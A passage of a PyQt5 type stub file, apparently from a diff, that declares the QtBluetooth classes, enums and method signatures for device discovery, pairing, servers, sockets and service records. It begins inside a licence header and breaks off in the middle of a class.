purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QBluetooth(PyQt5.sip.simplewrapper): + + class AttAccessConstraint(int): + AttAuthorizationRequired = ... # type: QBluetooth.AttAccessConstraint + AttAuthenticationRequired = ... # type: QBluetooth.AttAccessConstraint + AttEncryptionRequired = ... # type: QBluetooth.AttAccessConstraint + + class Security(int): + NoSecurity = ... # type: QBluetooth.Security + Authorization = ... # type: QBluetooth.Security + Authentication = ... # type: QBluetooth.Security + Encryption = ... # type: QBluetooth.Security + Secure = ... # type: QBluetooth.Security + + class SecurityFlags(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetooth.SecurityFlags', 'QBluetooth.Security']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetooth.SecurityFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetooth.SecurityFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class AttAccessConstraints(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetooth.AttAccessConstraints', 'QBluetooth.AttAccessConstraint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetooth.AttAccessConstraints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetooth.AttAccessConstraints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + +class QBluetoothAddress(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, address: int) -> None: ... + @typing.overload + def __init__(self, address: str) -> None: ... + @typing.overload + def __init__(self, other: 'QBluetoothAddress') -> None: ... + + def toString(self) -> str: ... + def toUInt64(self) -> int: ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + + +class QBluetoothDeviceDiscoveryAgent(QtCore.QObject): + + class DiscoveryMethod(int): + + class InquiryType(int): + GeneralUnlimitedInquiry = ... # type: QBluetoothDeviceDiscoveryAgent.InquiryType + LimitedInquiry = ... # type: QBluetoothDeviceDiscoveryAgent.InquiryType + + class Error(int): + NoError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + InputOutputError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + PoweredOffError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + InvalidBluetoothAdapterError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + UnsupportedPlatformError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + UnsupportedDiscoveryMethod = ... # type: QBluetoothDeviceDiscoveryAgent.Error + UnknownError = ... # type: QBluetoothDeviceDiscoveryAgent.Error + + class DiscoveryMethods(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetoothDeviceDiscoveryAgent.DiscoveryMethods', 'QBluetoothDeviceDiscoveryAgent.DiscoveryMethod']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetoothDeviceDiscoveryAgent.DiscoveryMethods') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetoothDeviceDiscoveryAgent.DiscoveryMethods': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, deviceAdapter: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @staticmethod + def supportedDiscoveryMethods() -> 'QBluetoothDeviceDiscoveryAgent.DiscoveryMethods': ... + def lowEnergyDiscoveryTimeout(self) -> int: ... + def setLowEnergyDiscoveryTimeout(self, msTimeout: int) -> None: ... + def deviceUpdated(self, info: 'QBluetoothDeviceInfo', updatedFields: typing.Union['QBluetoothDeviceInfo.Fields', 'QBluetoothDeviceInfo.Field']) -> None: ... + def canceled(self) -> None: ... + def finished(self) -> None: ... + def deviceDiscovered(self, info: 'QBluetoothDeviceInfo') -> None: ... + def stop(self) -> None: ... + @typing.overload + def start(self) -> None: ... + @typing.overload + def start(self, method: typing.Union['QBluetoothDeviceDiscoveryAgent.DiscoveryMethods', 'QBluetoothDeviceDiscoveryAgent.DiscoveryMethod']) -> None: ... + def discoveredDevices(self) -> typing.List['QBluetoothDeviceInfo']: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QBluetoothDeviceDiscoveryAgent.Error': ... + @typing.overload + def error(self, error: 'QBluetoothDeviceDiscoveryAgent.Error') -> None: ... + def isActive(self) -> bool: ... + def setInquiryType(self, type: 'QBluetoothDeviceDiscoveryAgent.InquiryType') -> None: ... + def inquiryType(self) -> 'QBluetoothDeviceDiscoveryAgent.InquiryType': ... + + +class QBluetoothDeviceInfo(PyQt5.sip.wrapper): + + class Field(int): + None_ = ... # type: QBluetoothDeviceInfo.Field + RSSI = ... # type: QBluetoothDeviceInfo.Field + ManufacturerData = ... # type: QBluetoothDeviceInfo.Field + All = ... # type: QBluetoothDeviceInfo.Field + + class CoreConfiguration(int): + UnknownCoreConfiguration = ... # type: QBluetoothDeviceInfo.CoreConfiguration + LowEnergyCoreConfiguration = ... # type: QBluetoothDeviceInfo.CoreConfiguration + BaseRateCoreConfiguration = ... # type: QBluetoothDeviceInfo.CoreConfiguration + BaseRateAndLowEnergyCoreConfiguration = ... # type: QBluetoothDeviceInfo.CoreConfiguration + + class DataCompleteness(int): + DataComplete = ... # type: QBluetoothDeviceInfo.DataCompleteness + DataIncomplete = ... # type: QBluetoothDeviceInfo.DataCompleteness + DataUnavailable = ... # type: QBluetoothDeviceInfo.DataCompleteness + + class ServiceClass(int): + NoService = ... # type: QBluetoothDeviceInfo.ServiceClass + PositioningService = ... # type: QBluetoothDeviceInfo.ServiceClass + NetworkingService = ... # type: QBluetoothDeviceInfo.ServiceClass + RenderingService = ... # type: QBluetoothDeviceInfo.ServiceClass + CapturingService = ... # type: QBluetoothDeviceInfo.ServiceClass + ObjectTransferService = ... # type: QBluetoothDeviceInfo.ServiceClass + AudioService = ... # type: QBluetoothDeviceInfo.ServiceClass + TelephonyService = ... # type: QBluetoothDeviceInfo.ServiceClass + InformationService = ... # type: QBluetoothDeviceInfo.ServiceClass + AllServices = ... # type: QBluetoothDeviceInfo.ServiceClass + + class MinorHealthClass(int): + UncategorizedHealthDevice = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthBloodPressureMonitor = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthThermometer = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthWeightScale = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthGlucoseMeter = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthPulseOximeter = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthDataDisplay = ... # type: QBluetoothDeviceInfo.MinorHealthClass + HealthStepCounter = ... # type: QBluetoothDeviceInfo.MinorHealthClass + + class MinorToyClass(int): + UncategorizedToy = ... # type: QBluetoothDeviceInfo.MinorToyClass + ToyRobot = ... # type: QBluetoothDeviceInfo.MinorToyClass + ToyVehicle = ... # type: QBluetoothDeviceInfo.MinorToyClass + ToyDoll = ... # type: QBluetoothDeviceInfo.MinorToyClass + ToyController = ... # type: QBluetoothDeviceInfo.MinorToyClass + ToyGame = ... # type: QBluetoothDeviceInfo.MinorToyClass + + class MinorWearableClass(int): + UncategorizedWearableDevice = ... # type: QBluetoothDeviceInfo.MinorWearableClass + WearableWristWatch = ... # type: QBluetoothDeviceInfo.MinorWearableClass + WearablePager = ... # type: QBluetoothDeviceInfo.MinorWearableClass + WearableJacket = ... # type: QBluetoothDeviceInfo.MinorWearableClass + WearableHelmet = ... # type: QBluetoothDeviceInfo.MinorWearableClass + WearableGlasses = ... # type: QBluetoothDeviceInfo.MinorWearableClass + + class MinorImagingClass(int): + UncategorizedImagingDevice = ... # type: QBluetoothDeviceInfo.MinorImagingClass + ImageDisplay = ... # type: QBluetoothDeviceInfo.MinorImagingClass + ImageCamera = ... # type: QBluetoothDeviceInfo.MinorImagingClass + ImageScanner = ... # type: QBluetoothDeviceInfo.MinorImagingClass + ImagePrinter = ... # type: QBluetoothDeviceInfo.MinorImagingClass + + class MinorPeripheralClass(int): + UncategorizedPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + KeyboardPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + PointingDevicePeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + KeyboardWithPointingDevicePeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + JoystickPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + GamepadPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + RemoteControlPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + SensingDevicePeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + DigitizerTabletPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + CardReaderPeripheral = ... # type: QBluetoothDeviceInfo.MinorPeripheralClass + + class MinorAudioVideoClass(int): + UncategorizedAudioVideoDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + WearableHeadsetDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + HandsFreeDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + Microphone = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + Loudspeaker = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + Headphones = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + PortableAudioDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + CarAudio = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + SetTopBox = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + HiFiAudioDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + Vcr = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + VideoCamera = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + Camcorder = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + VideoMonitor = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + VideoDisplayAndLoudspeaker = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + VideoConferencing = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + GamingDevice = ... # type: QBluetoothDeviceInfo.MinorAudioVideoClass + + class MinorNetworkClass(int): + NetworkFullService = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorOne = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorTwo = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorThree = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorFour = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorFive = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkLoadFactorSix = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + NetworkNoService = ... # type: QBluetoothDeviceInfo.MinorNetworkClass + + class MinorPhoneClass(int): + UncategorizedPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + CellularPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + CordlessPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + SmartPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + WiredModemOrVoiceGatewayPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + CommonIsdnAccessPhone = ... # type: QBluetoothDeviceInfo.MinorPhoneClass + + class MinorComputerClass(int): + UncategorizedComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + DesktopComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + ServerComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + LaptopComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + HandheldClamShellComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + HandheldComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + WearableComputer = ... # type: QBluetoothDeviceInfo.MinorComputerClass + + class MinorMiscellaneousClass(int): + UncategorizedMiscellaneous = ... # type: QBluetoothDeviceInfo.MinorMiscellaneousClass + + class MajorDeviceClass(int): + MiscellaneousDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + ComputerDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + PhoneDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + LANAccessDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + NetworkDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + AudioVideoDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + PeripheralDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + ImagingDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + WearableDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + ToyDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + HealthDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + UncategorizedDevice = ... # type: QBluetoothDeviceInfo.MajorDeviceClass + + class ServiceClasses(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetoothDeviceInfo.ServiceClasses', 'QBluetoothDeviceInfo.ServiceClass']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetoothDeviceInfo.ServiceClasses') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetoothDeviceInfo.ServiceClasses': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class CoreConfigurations(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetoothDeviceInfo.CoreConfigurations', 'QBluetoothDeviceInfo.CoreConfiguration']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetoothDeviceInfo.CoreConfigurations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetoothDeviceInfo.CoreConfigurations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Fields(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QBluetoothDeviceInfo.Fields', 'QBluetoothDeviceInfo.Field']) -> None: ... + @typing.overload + def __init__(self, a0: 'QBluetoothDeviceInfo.Fields') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QBluetoothDeviceInfo.Fields': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, address: QBluetoothAddress, name: str, classOfDevice: int) -> None: ... + @typing.overload + def __init__(self, uuid: 'QBluetoothUuid', name: str, classOfDevice: int) -> None: ... + @typing.overload + def __init__(self, other: 'QBluetoothDeviceInfo') -> None: ... + + def setManufacturerData(self, manufacturerId: int, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def manufacturerData(self, manufacturerId: int) -> QtCore.QByteArray: ... + @typing.overload + def manufacturerData(self) -> typing.Dict[int, QtCore.QByteArray]: ... + def manufacturerIds(self) -> typing.List[int]: ... + def deviceUuid(self) -> 'QBluetoothUuid': ... + def setDeviceUuid(self, uuid: 'QBluetoothUuid') -> None: ... + def coreConfigurations(self) -> 'QBluetoothDeviceInfo.CoreConfigurations': ... + def setCoreConfigurations(self, coreConfigs: typing.Union['QBluetoothDeviceInfo.CoreConfigurations', 'QBluetoothDeviceInfo.CoreConfiguration']) -> None: ... + def serviceUuidsCompleteness(self) -> 'QBluetoothDeviceInfo.DataCompleteness': ... + def serviceUuids(self) -> typing.Tuple[typing.List['QBluetoothUuid'], 'QBluetoothDeviceInfo.DataCompleteness']: ... + @typing.overload + def setServiceUuids(self, uuids: typing.Iterable['QBluetoothUuid'], completeness: 'QBluetoothDeviceInfo.DataCompleteness') -> None: ... + @typing.overload + def setServiceUuids(self, uuids: typing.Iterable['QBluetoothUuid']) -> None: ... + def setRssi(self, signal: int) -> None: ... + def rssi(self) -> int: ... + def minorDeviceClass(self) -> int: ... + def majorDeviceClass(self) -> 'QBluetoothDeviceInfo.MajorDeviceClass': ... + def serviceClasses(self) -> 'QBluetoothDeviceInfo.ServiceClasses': ... + def name(self) -> str: ... + def address(self) -> QBluetoothAddress: ... + def setCached(self, cached: bool) -> None: ... + def isCached(self) -> bool: ... + def isValid(self) -> bool: ... + + +class QBluetoothHostInfo(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QBluetoothHostInfo') -> None: ... + + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + def setAddress(self, address: QBluetoothAddress) -> None: ... + def address(self) -> QBluetoothAddress: ... + + +class QBluetoothLocalDevice(QtCore.QObject): + + class Error(int): + NoError = ... # type: QBluetoothLocalDevice.Error + PairingError = ... # type: QBluetoothLocalDevice.Error + UnknownError = ... # type: QBluetoothLocalDevice.Error + + class HostMode(int): + HostPoweredOff = ... # type: QBluetoothLocalDevice.HostMode + HostConnectable = ... # type: QBluetoothLocalDevice.HostMode + HostDiscoverable = ... # type: QBluetoothLocalDevice.HostMode + HostDiscoverableLimitedInquiry = ... # type: QBluetoothLocalDevice.HostMode + + class Pairing(int): + Unpaired = ... # type: QBluetoothLocalDevice.Pairing + Paired = ... # type: QBluetoothLocalDevice.Pairing + AuthorizedPaired = ... # type: QBluetoothLocalDevice.Pairing + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, address: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def deviceDisconnected(self, address: QBluetoothAddress) -> None: ... + def deviceConnected(self, address: QBluetoothAddress) -> None: ... + def error(self, error: 'QBluetoothLocalDevice.Error') -> None: ... + def pairingDisplayConfirmation(self, address: QBluetoothAddress, pin: str) -> None: ... + def pairingDisplayPinCode(self, address: QBluetoothAddress, pin: str) -> None: ... + def pairingFinished(self, address: QBluetoothAddress, pairing: 'QBluetoothLocalDevice.Pairing') -> None: ... + def hostModeStateChanged(self, state: 'QBluetoothLocalDevice.HostMode') -> None: ... + def pairingConfirmation(self, confirmation: bool) -> None: ... + def connectedDevices(self) -> typing.List[QBluetoothAddress]: ... + @staticmethod + def allDevices() -> typing.List[QBluetoothHostInfo]: ... + def address(self) -> QBluetoothAddress: ... + def name(self) -> str: ... + def powerOn(self) -> None: ... + def hostMode(self) -> 'QBluetoothLocalDevice.HostMode': ... + def setHostMode(self, mode: 'QBluetoothLocalDevice.HostMode') -> None: ... + def pairingStatus(self, address: QBluetoothAddress) -> 'QBluetoothLocalDevice.Pairing': ... + def requestPairing(self, address: QBluetoothAddress, pairing: 'QBluetoothLocalDevice.Pairing') -> None: ... + def isValid(self) -> bool: ... + + +class QBluetoothServer(QtCore.QObject): + + class Error(int): + NoError = ... # type: QBluetoothServer.Error + UnknownError = ... # type: QBluetoothServer.Error + PoweredOffError = ... # type: QBluetoothServer.Error + InputOutputError = ... # type: QBluetoothServer.Error + ServiceAlreadyRegisteredError = ... # type: QBluetoothServer.Error + UnsupportedProtocolError = ... # type: QBluetoothServer.Error + + def __init__(self, serverType: 'QBluetoothServiceInfo.Protocol', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def newConnection(self) -> None: ... + @typing.overload + def error(self) -> 'QBluetoothServer.Error': ... + @typing.overload + def error(self, a0: 'QBluetoothServer.Error') -> None: ... + def serverType(self) -> 'QBluetoothServiceInfo.Protocol': ... + def securityFlags(self) -> QBluetooth.SecurityFlags: ... + def setSecurityFlags(self, security: typing.Union[QBluetooth.SecurityFlags, QBluetooth.Security]) -> None: ... + def serverPort(self) -> int: ... + def serverAddress(self) -> QBluetoothAddress: ... + def nextPendingConnection(self) -> 'QBluetoothSocket': ... + def hasPendingConnections(self) -> bool: ... + def maxPendingConnections(self) -> int: ... + def setMaxPendingConnections(self, numConnections: int) -> None: ... + def isListening(self) -> bool: ... + @typing.overload + def listen(self, address: QBluetoothAddress = ..., port: int = ...) -> bool: ... + @typing.overload + def listen(self, uuid: 'QBluetoothUuid', serviceName: str = ...) -> 'QBluetoothServiceInfo': ... + def close(self) -> None: ... + + +class QBluetoothServiceDiscoveryAgent(QtCore.QObject): + + class DiscoveryMode(int): + MinimalDiscovery = ... # type: QBluetoothServiceDiscoveryAgent.DiscoveryMode + FullDiscovery = ... # type: QBluetoothServiceDiscoveryAgent.DiscoveryMode + + class Error(int): + NoError = ... # type: QBluetoothServiceDiscoveryAgent.Error + InputOutputError = ... # type: QBluetoothServiceDiscoveryAgent.Error + PoweredOffError = ... # type: QBluetoothServiceDiscoveryAgent.Error + InvalidBluetoothAdapterError = ... # type: QBluetoothServiceDiscoveryAgent.Error + UnknownError = ... # type: QBluetoothServiceDiscoveryAgent.Error + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, deviceAdapter: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def canceled(self) -> None: ... + def finished(self) -> None: ... + def serviceDiscovered(self, info: 'QBluetoothServiceInfo') -> None: ... + def clear(self) -> None: ... + def stop(self) -> None: ... + def start(self, mode: 'QBluetoothServiceDiscoveryAgent.DiscoveryMode' = ...) -> None: ... + def remoteAddress(self) -> QBluetoothAddress: ... + def setRemoteAddress(self, address: QBluetoothAddress) -> bool: ... + def uuidFilter(self) -> typing.List['QBluetoothUuid']: ... + @typing.overload + def setUuidFilter(self, uuids: typing.Iterable['QBluetoothUuid']) -> None: ... + @typing.overload + def setUuidFilter(self, uuid: 'QBluetoothUuid') -> None: ... + def discoveredServices(self) -> typing.List['QBluetoothServiceInfo']: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QBluetoothServiceDiscoveryAgent.Error': ... + @typing.overload + def error(self, error: 'QBluetoothServiceDiscoveryAgent.Error') -> None: ... + def isActive(self) -> bool: ... + + +class QBluetoothServiceInfo(PyQt5.sip.wrapper): + + class Protocol(int): + UnknownProtocol = ... # type: QBluetoothServiceInfo.Protocol + L2capProtocol = ... # type: QBluetoothServiceInfo.Protocol + RfcommProtocol = ... # type: QBluetoothServiceInfo.Protocol + + class AttributeId(int): + ServiceRecordHandle = ... # type: QBluetoothServiceInfo.AttributeId + ServiceClassIds = ... # type: QBluetoothServiceInfo.AttributeId + ServiceRecordState = ... # type: QBluetoothServiceInfo.AttributeId + ServiceId = ... # type: QBluetoothServiceInfo.AttributeId + ProtocolDescriptorList = ... # type: QBluetoothServiceInfo.AttributeId + BrowseGroupList = ... # type: QBluetoothServiceInfo.AttributeId + LanguageBaseAttributeIdList = ... # type: QBluetoothServiceInfo.AttributeId + ServiceInfoTimeToLive = ... # type: QBluetoothServiceInfo.AttributeId + ServiceAvailability = ... # type: QBluetoothServiceInfo.AttributeId + BluetoothProfileDescriptorList = ... # type: QBluetoothServiceInfo.AttributeId + DocumentationUrl = ... # type: QBluetoothServiceInfo.AttributeId + ClientExecutableUrl = ... # type: QBluetoothServiceInfo.AttributeId + IconUrl = ... # type: QBluetoothServiceInfo.AttributeId + AdditionalProtocolDescriptorList = ... # type: QBluetoothServiceInfo.AttributeId + PrimaryLanguageBase = ... # type: QBluetoothServiceInfo.AttributeId + ServiceName = ... # type: QBluetoothServiceInfo.AttributeId + ServiceDescription = ... # type: QBluetoothServiceInfo.AttributeId + ServiceProvider = ... # type: QBluetoothServiceInfo.AttributeId + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QBluetoothServiceInfo') -> None: ... + + def serviceClassUuids(self) -> typing.List['QBluetoothUuid']: ... + def serviceUuid(self) -> 'QBluetoothUuid': ... + def setServiceUuid(self, uuid: 'QBluetoothUuid') -> None: ... + def serviceAvailability(self) -> int: ... + def setServiceAvailability(self, availability: int) -> None: ... + def serviceProvider(self) -> str: ... + def setServiceProvider(self, provider: str) -> None: ... + def serviceDescription(self) -> str: ... + def setServiceDescription(self, description: str) -> None: ... + def serviceName(self) -> str: ... + def setServiceName(self, name: str) -> None: ... + @typing.overload + def setAttribute(self, attributeId: int, value: 'QBluetoothUuid') -> None: ... + @typing.overload + def setAttribute(self, attributeId: int, value: typing.Iterable[typing.Any]) -> None: ... + @typing.overload + def setAttribute(self, attributeId: int, value: typing.Any) -> None: ... + def unregisterService(self) -> bool: ... + def registerService(self, localAdapter: QBluetoothAddress = ...) -> bool: ... + def isRegistered(self) -> bool: ... + def protocolDescriptor(self, protocol: 'QBluetoothUuid.ProtocolUuid') -> typing.List[typing.Any]: ... + def serverChannel(self) -> int: ... + def protocolServiceMultiplexer(self) -> int: ... + def socketProtocol(self) -> 'QBluetoothServiceInfo.Protocol': ... + def removeAttribute(self, attributeId: int) -> None: ... + def contains(self, attributeId: int) -> bool: ... + def attributes(self) -> typing.List[int]: ... + def attribute(self, attributeId: int) -> typing.Any: ... + def device(self) -> QBluetoothDeviceInfo: ... + def setDevice(self, info: QBluetoothDeviceInfo) -> None: ... + def isComplete(self) -> bool: ... + def isValid(self) -> bool: ... + + +class QBluetoothSocket(QtCore.QIODevice): + + class SocketError(int): + NoSocketError = ... # type: QBluetoothSocket.SocketError + UnknownSocketError = ... # type: QBluetoothSocket.SocketError + HostNotFoundError = ... # type: QBluetoothSocket.SocketError + ServiceNotFoundError = ... # type: QBluetoothSocket.SocketError + NetworkError = ... # type: QBluetoothSocket.SocketError + UnsupportedProtocolError = ... # type: QBluetoothSocket.SocketError + OperationError = ... # type: QBluetoothSocket.SocketError + RemoteHostClosedError = ... # type: QBluetoothSocket.SocketError + + class SocketState(int): + UnconnectedState = ... # type: QBluetoothSocket.SocketState + ServiceLookupState = ... # type: QBluetoothSocket.SocketState + ConnectingState = ... # type: QBluetoothSocket.SocketState + ConnectedState = ... # type: QBluetoothSocket.SocketState + BoundState = ... # type: QBluetoothSocket.SocketState + ClosingState = ... # type: QBluetoothSocket.SocketState + ListeningState = ... # type: QBluetoothSocket.SocketState + + @typing.overload + def __init__(self, socketType: QBluetoothServiceInfo.Protocol, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def preferredSecurityFlags(self) -> QBluetooth.SecurityFlags: ... + def setPreferredSecurityFlags(self, flags: typing.Union[QBluetooth.SecurityFlags, QBluetooth.Security]) -> None: ... + def doDeviceDiscovery(self, service: QBluetoothServiceInfo, openMode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag]) -> None: ... + def setSocketError(self, error: 'QBluetoothSocket.SocketError') -> None: ... + def setSocketState(self, state: 'QBluetoothSocket.SocketState') -> None: ... + def writeData(self, data: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def stateChanged(self, state: 'QBluetoothSocket.SocketState') -> None: ... + def disconnected(self) -> None: ... + def connected(self) -> None: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QBluetoothSocket.SocketError': ... + @typing.overload + def error(self, error: 'QBluetoothSocket.SocketError') -> None: ... + def state(self) -> 'QBluetoothSocket.SocketState': ... + def socketType(self) -> QBluetoothServiceInfo.Protocol: ... + def socketDescriptor(self) -> int: ... + def setSocketDescriptor(self, socketDescriptor: int, socketType: QBluetoothServiceInfo.Protocol, state: 'QBluetoothSocket.SocketState' = ..., mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> bool: ... + def peerPort(self) -> int: ... + def peerAddress(self) -> QBluetoothAddress: ... + def peerName(self) -> str: ... + def localPort(self) -> int: ... + def localAddress(self) -> QBluetoothAddress: ... + def localName(self) -> str: ... + def disconnectFromService(self) -> None: ... + @typing.overload + def connectToService(self, service: QBluetoothServiceInfo, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + @typing.overload + def connectToService(self, address: QBluetoothAddress, uuid: 'QBluetoothUuid', mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + @typing.overload + def connectToService(self, address: QBluetoothAddress, port: int, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + def canReadLine(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def isSequential(self) -> bool: ... + def close(self) -> None: ... + def abort(self) -> None: ... + + +class QBluetoothTransferManager(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def finished(self, reply: 'QBluetoothTransferReply') -> None: ... + def put(self, request: 'QBluetoothTransferRequest', data: QtCore.QIODevice) -> 'QBluetoothTransferReply': ... + + +class QBluetoothTransferReply(QtCore.QObject): + + class TransferError(int): + NoError = ... # type: QBluetoothTransferReply.TransferError + UnknownError = ... 